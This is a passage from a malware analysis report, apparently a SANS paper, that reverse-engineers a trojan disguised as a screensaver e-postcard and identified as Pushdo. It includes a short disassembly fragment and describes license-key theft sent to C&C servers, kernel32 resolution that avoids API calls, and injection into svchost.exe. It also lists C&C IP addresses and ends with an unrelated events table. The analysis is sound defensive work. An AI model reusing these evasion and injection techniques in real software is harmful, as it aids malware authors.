mov eax, edx
mov ecx, [ebp+var_PEOffset]
push ecx
mov ecx, [ebp+var_M2offset]
push ecx
mov edx, [ebp+var_26]
call sub_100021a0
add esp, 8Ch
mov ecx, [ebp+var_PEOffset]
lea ecx, [ebp+var_PEOffset]
lea eax, [edx+ecx+14h]
mov [ebp+var_10], eax
mov [ebp+var_2c], 0
jmp short loc_10002080
```

Figure 14: Hidden VirtualAlloc call

There’s also a call to a function that, during the code analysis, was given (manually!) the name “sneaky_get_kernel_base”. Looking at that code, we can see why: it’s a technique for getting the base address of kernel32.dll without calling either GetModuleHandle or LoadLibrary. Something
is definitely up here: the author of this program didn’t want an analyst to have an easy time reversing this code, and has written the program in a way that makes analysis harder, particularly against trivial methods such as running the strings command.

```assembly
Figure 15: sneak_get_kernel_base

This code serves as a loader for the first of the two embedded executables. Once the set up (kernel base, imports) are handled, the program will point to the executable, and then transfer control over to it. We can see this at the end of the program: we find the MZ header, advance to the PE header, find the start of the code, then call it.
Figure 16: Passing off control to embedded executable code

6.3 Stage 2 Analysis

The second stage executables promise to be interesting, especially after taking a look over some of the strings they hold.
Figure 17: Some stage 2 strings

It looks like this part is responsible for the registry keys, creating the driver, putting it in the Windows directory, setting it to automatically load on boot, and protecting it as well.
Figure 18: Oops! It doesn't like it when you try to delete it...

There's also an odd string that's definitely worth noting in here, which may reveal some more clues as to what exactly is going on.
6.4 Stage 3 Analysis

Extracting all of the data in the original file from the third MZ marker on to the end of the file results in a working executable.

Like elsewhere in this report, I actively chose here not to Google for information that might give me too much of a hint. It’s more fun this way.
There are some interesting strings relating to registry functions and network functions. Since we already know that the program generates an HTTP request, let’s investigate the registry functions first.

```bash
$ ls -l lastmz.exe
-rw-rw-r--  1 shardy shardy 11936 Feb 16 16:15 lastmz.exe
$ md5sum lastmz.exe
a8ce120afa4e61176f216940f07ed20  lastmz.exe
$ shalsum lastmz.exe
644e4448a05637da68b8c2cbbaa9fc5a057c0ba6  lastmz.exe
$ file lastmz.exe
lastmz.exe: MS-DOS executable (EXE), OS/2 or MS Windows
```
By using the IDA cross-references (xrefs), we can quickly identify where in the code the registry functions are used, as well as the strings in the code that go along with them.

From the code, it appears as if the program is querying the value of a particular registry key:

HKEY_LOCAL_MACHINE\SYSTEM\WPA\SigningHash-[SubKey], where the value of [SubKey] can change. WPA here refers to “Windows Product Activation”, and the key that the malware is querying is essentially the signed Windows license key that confirms activation of the Windows installation (Sysinternals Forum).
Figure 21: Getting the SigningHash value from the registry

So now we have to ask: what does this program use the license key for? And what is it communicating back to the C&C server? (Un)fortunately for us, the two questions are related.
Reverse Engineering a Windows "Screensaver" e-Postcard

Figure 22: Construction of the GET request

The answer: the value of the registry key is directly used to construct the hex string that is sent as part of the HTTP GET request to the C&C. It’s not too much of a stretch of the imagination to assume that the encoding method used in the software can be decoded on the server’s side, giving anyone with access to the server logs a WPA-signed Windows license key.

So, this malware steals Windows license keys. But is that
Unfortunately, we’re not done just yet. There are more hints of additional functionality that we can’t pass up. For example, what exactly is going on here with svchost.exe?

![Diagram of svchost.exe process creation]

**Figure 23: Creating a new svchost.exe process**

It looks like the malware is creating a new instance of svchost.exe. There’s more to it, though.
Figure 24: CreateProcessA, ReadProcessMemory, VirtualAllocEx, WriteProcessMemory

Following the more complicated set of jumps and calls in IDA, we see that the program is creating a new process by executing svchost.exe, a standard Windows program which runs services from DLLs, allocating memory, writing to that memory, and then executing it (Microsoft Knowledgebase). Where does the DLL come from? From the WS2_32.DLL Winsock calls: the previous HTTP GET request.
7. In Conclusion

7.1 Summary

This malicious program operates in three parts. The first, the program itself, is a loader which protects two embedded executables via packers, and passes off control to the first when run.

The second part, the first and second embedded executables, are a rootkit responsible for dropping the payload, ensuring that it is restarted should the computer reboot, and protects it from discovery and removal. Even though we did not do a detailed analysis on this part of the malware, we can identify its functionality via behavioral analysis and leave code analysis for when we have more time to do research.

The third part, the third embedded executable, is the payload. It sends an HTTP request to one of seven different C&C servers, where the request can be decoded to the WPA-signed Windows license key of the compromised system making the request. From there, we can guess that the response to the HTTP request will be a DLL which will be loaded into memory and executed via svchost.exe.

We can detect the network activity of this trojan by looking for HTTP GET requests that consist of long hex strings starting with 40. This can be used to detect infected machines and block outbound traffic from them.

7.2 Postmortem: Virustotal

Uploading the sample to Virustotal
(http://www.virustotal.com), a free online collection of virus scanners, can give us some insight into what this malware is detected as by various commercial scanners.

Only 16 out of 36 antivirus products detect this sample:

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Version</th>
<th>Last Update</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>AhnLab-V3</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>AntiVir</td>
<td>-</td>
<td>-</td>
<td>TR/Crypt.XPACK.Gen</td>
</tr>
<tr>
<td>Authentium</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Avast</td>
<td>-</td>
<td>-</td>
<td>Win32:Agent-ZFS</td>
</tr>
<tr>
<td>AVG</td>
<td>-</td>
<td>-</td>
<td>Downloader.Agent.AHNO</td>
</tr>
<tr>
<td>BitDefender</td>
<td>-</td>
<td>-</td>
<td>Trojan.Kobcka.FM</td>
</tr>
<tr>
<td>CAT-QuickHeal</td>
<td>-</td>
<td>-</td>
<td>TrojanDropper.Cutwail.h</td>
</tr>
<tr>
<td>ClamAV</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>DrWeb</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>eSafe</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>eTrust-Vet</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Ewido</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>F-Prot</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>F-Secure</td>
<td>-</td>
<td>-</td>
<td>Suspicious:W32/Malware!Gemini</td>
</tr>
<tr>
<td>Fortinet</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>GData</td>
<td>-</td>
<td>-</td>
<td>Trojan.Kobcka.FM</td>
</tr>
</tbody>
</table>
# Reverse Engineering a Windows “Screensaver” e-Postcard

<table>
<thead>
<tr>
<th>Antivirus</th>
<th>Detection</th>
<th>Removal</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ikarus</td>
<td>-</td>
<td>-</td>
<td>Trojan-Dropper.Agent</td>
</tr>
<tr>
<td>K7AntiVirus</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>-</td>
<td>-</td>
<td>Trojan-Downloader.Win32.Mutant.aim</td>
</tr>
<tr>
<td>McAfee</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Microsoft</td>
<td>-</td>
<td>-</td>
<td>TrojanDownloader:Win32/Cutwail.S</td>
</tr>
<tr>
<td>NOD32</td>
<td>-</td>
<td>-</td>
<td>Win32/Wigon.CI</td>
</tr>
<tr>
<td>Norman</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Panda</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>PCTools</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Prevx1</td>
<td>-</td>
<td>-</td>
<td>Malicious Software</td>
</tr>
<tr>
<td>Rising</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>SecureWeb-Gateway</td>
<td>-</td>
<td>-</td>
<td>Trojan.Crypt.XPACK.Gen</td>
</tr>
<tr>
<td>Sophos</td>
<td>-</td>
<td>-</td>
<td>Troj/Pushdo-Gen</td>
</tr>
<tr>
<td>Sunbelt</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>Symantec</td>
<td>-</td>
<td>-</td>
<td>Hacktool.Spammer</td>
</tr>
<tr>
<td>TheHacker</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>TrendMicro</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>VBA32</td>
<td>-</td>
<td>-</td>
<td>Trojan-Downloader.Win32.Agent</td>
</tr>
<tr>
<td>ViRobot</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
</tbody>
</table>
Reverse Engineering a Windows “Screensaver” e-Postcard

| VirusBuster | - | - | - |

*Figure 25: Virustotal output for card.scr*

While the commercial scanners all have different names for this malware, we can see that they all pretty much agree that it is a downloader/dropper. In particular, this does appear to be Pushdo (Stewart, 2007), a trojan that is used to distribute other malware.
Reverse Engineering a Windows “Screensaver” e-Postcard

References


**UPX's** compressed sections (UPX0,UPX1..). Retrieved February 16, 2009, from Tuts4You: http://forum.tuts4you.com/index.php?showtopic=18385&view=new


## Appendix A: Tools

<table>
<thead>
<tr>
<th>Tool</th>
<th>Description</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>honeyd</td>
<td>Honeyd&lt;br&gt;Virtual Honeypot</td>
<td><a href="http://www.honeyd.org">http://www.honeyd.org</a></td>
</tr>
<tr>
<td>IDA Pro</td>
<td>Interactive Disassembler</td>
<td><a href="http://www.hex-rays.com/idapro/">http://www.hex-rays.com/idapro/</a></td>
</tr>
<tr>
<td>LordPE</td>
<td>PE editor and rebuilder</td>
<td>Archived at <a href="http://www.woodmann.net/ldo">http://www.woodmann.net/ldo</a> PE</td>
</tr>
<tr>
<td>md5sum</td>
<td>MD5 message digest generator</td>
<td>Included with Ubuntu Linux distribution</td>
</tr>
<tr>
<td>objdump</td>
<td>Binary object dumper</td>
<td>Included with Ubuntu Linux distribution</td>
</tr>
<tr>
<td>OllyDbg</td>
<td>Debugger</td>
<td><a href="http://www.ollydbg.de">http://www.ollydbg.de</a></td>
</tr>
<tr>
<td>PEiD</td>
<td>Packer Identifier</td>
<td><a href="http://www.peid.info">http://www.peid.info</a></td>
</tr>
<tr>
<td>RegShot</td>
<td>Registry diff tool</td>
<td><a href="http://sourceforge.net/projects/regshot">http://sourceforge.net/projects/regshot</a></td>
</tr>
<tr>
<td>sha1sum</td>
<td>SHA-1 message digest generator</td>
<td>Included with Ubuntu Linux distribution</td>
</tr>
<tr>
<td>tcpdump</td>
<td>Packet sniffer</td>
<td>Included with Ubuntu Linux distribution</td>
</tr>
</tbody>
</table>
## Reverse Engineering a Windows "Screensaver" e-Postcard

<table>
<thead>
<tr>
<th>Tool</th>
<th>Description</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Virustotal</td>
<td>Virus scanner aggregator</td>
<td><a href="http://www.virustotal.com">http://www.virustotal.com</a></td>
</tr>
<tr>
<td>VMWare Server</td>
<td>Virtual machine</td>
<td><a href="http://www.vmware.com">http://www.vmware.com</a></td>
</tr>
<tr>
<td>Wireshark</td>
<td>Packet sniffer</td>
<td><a href="http://www.wireshark.org">http://www.wireshark.org</a></td>
</tr>
</tbody>
</table>
Appendix B: ARIN Lookups

209.66.122.238:80

Abovenet Communications, Inc NETBLK-ABOVENET2 (NET-209-66-64-0-1)

209.66.64.0 - 209.66.127.255


209.66.122.0 - 209.66.122.255

208.66.195.15:80
208.66.195.71:80
208.66.194.232:80
208.66.194.240:80

McColo Corporation MCCOLO (NET-208-66-192-0-1)

208.66.192.0 - 208.66.195.255

Optimal solutions MCCOLO-DEDICATED-CUST429 (NET-208-66-195-1-1)

208.66.195.1 - 208.66.195.31

216.195.55.50:80
216.195.56.22:80

OrgName: APS Telecom
OrgID: APSTE
Address: 8130 SW BEAVERTON-HILLSDALE HWY
City: PORTLAND
StateProv: OR
PostalCode: 97225
Country: US
Reverse Engineering a Windows “Screensaver” e-Postcard

NetRange: 216.195.32.0 - 216.195.63.255
CIDR: 216.195.32.0/19
NetName: APS-EPSI
NetHandle: NET-216-195-32-0-1
Parent: NET-216-0-0-0-0
NetType: Direct Allocation
NameServer: NS1.3FN.NET
NameServer: NS2.3FN.NET
Comment: send abuse issues to abuse@3fn.net, send network
Comment: issue to noc@3fn.net
RegDate: 2003-11-05
Updated: 2004-09-17

RTechHandle: NSW-ARIN
RTechName: Swen, Nash
RTechPhone: +1-800-539-8209
RTechEmail: noc@apxtelecom.com

OrgTechHandle: NSW-ARIN
OrgTechName: Swen, Nash
OrgTechPhone: +1-800-539-8209
OrgTechEmail: noc@apxtelecom.com
<table>
<thead>
<tr>
<th>Event</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Cardiff September 2019</td>
<td>Cardiff, GB</td>
<td>Sep 30, 2019 - Oct 5, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Doha October 2019</td>
<td>Doha, QA</td>
<td>Oct 12, 2019 - Oct 17, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Cairo October 2019</td>
<td>Cairo, EG</td>
<td>Oct 19, 2019 - Oct 24, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Santa Monica 2019</td>
<td>Santa Monica, CAUS</td>
<td>Oct 21, 2019 - Oct 26, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam October 2019</td>
<td>Amsterdam, NL</td>
<td>Oct 28, 2019 - Nov 2, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Houston 2019</td>
<td>Houston, TXUS</td>
<td>Oct 28, 2019 - Nov 2, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS DFIRCON 2019</td>
<td>Coral Gables, FLUS</td>
<td>Nov 4, 2019 - Nov 9, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Mumbai 2019</td>
<td>Mumbai, IN</td>
<td>Nov 4, 2019 - Nov 9, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>MGT521 Beta One 2019</td>
<td>Crystal City, VAUS</td>
<td>Nov 12, 2019 - Nov 13, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>GridEx V 2019</td>
<td>Online,</td>
<td>Nov 13, 2019 - Nov 14, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Northern VA Fall- Reston 2019</td>
<td>OnlineVAUS</td>
<td>Sep 30, 2019 - Oct 5, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>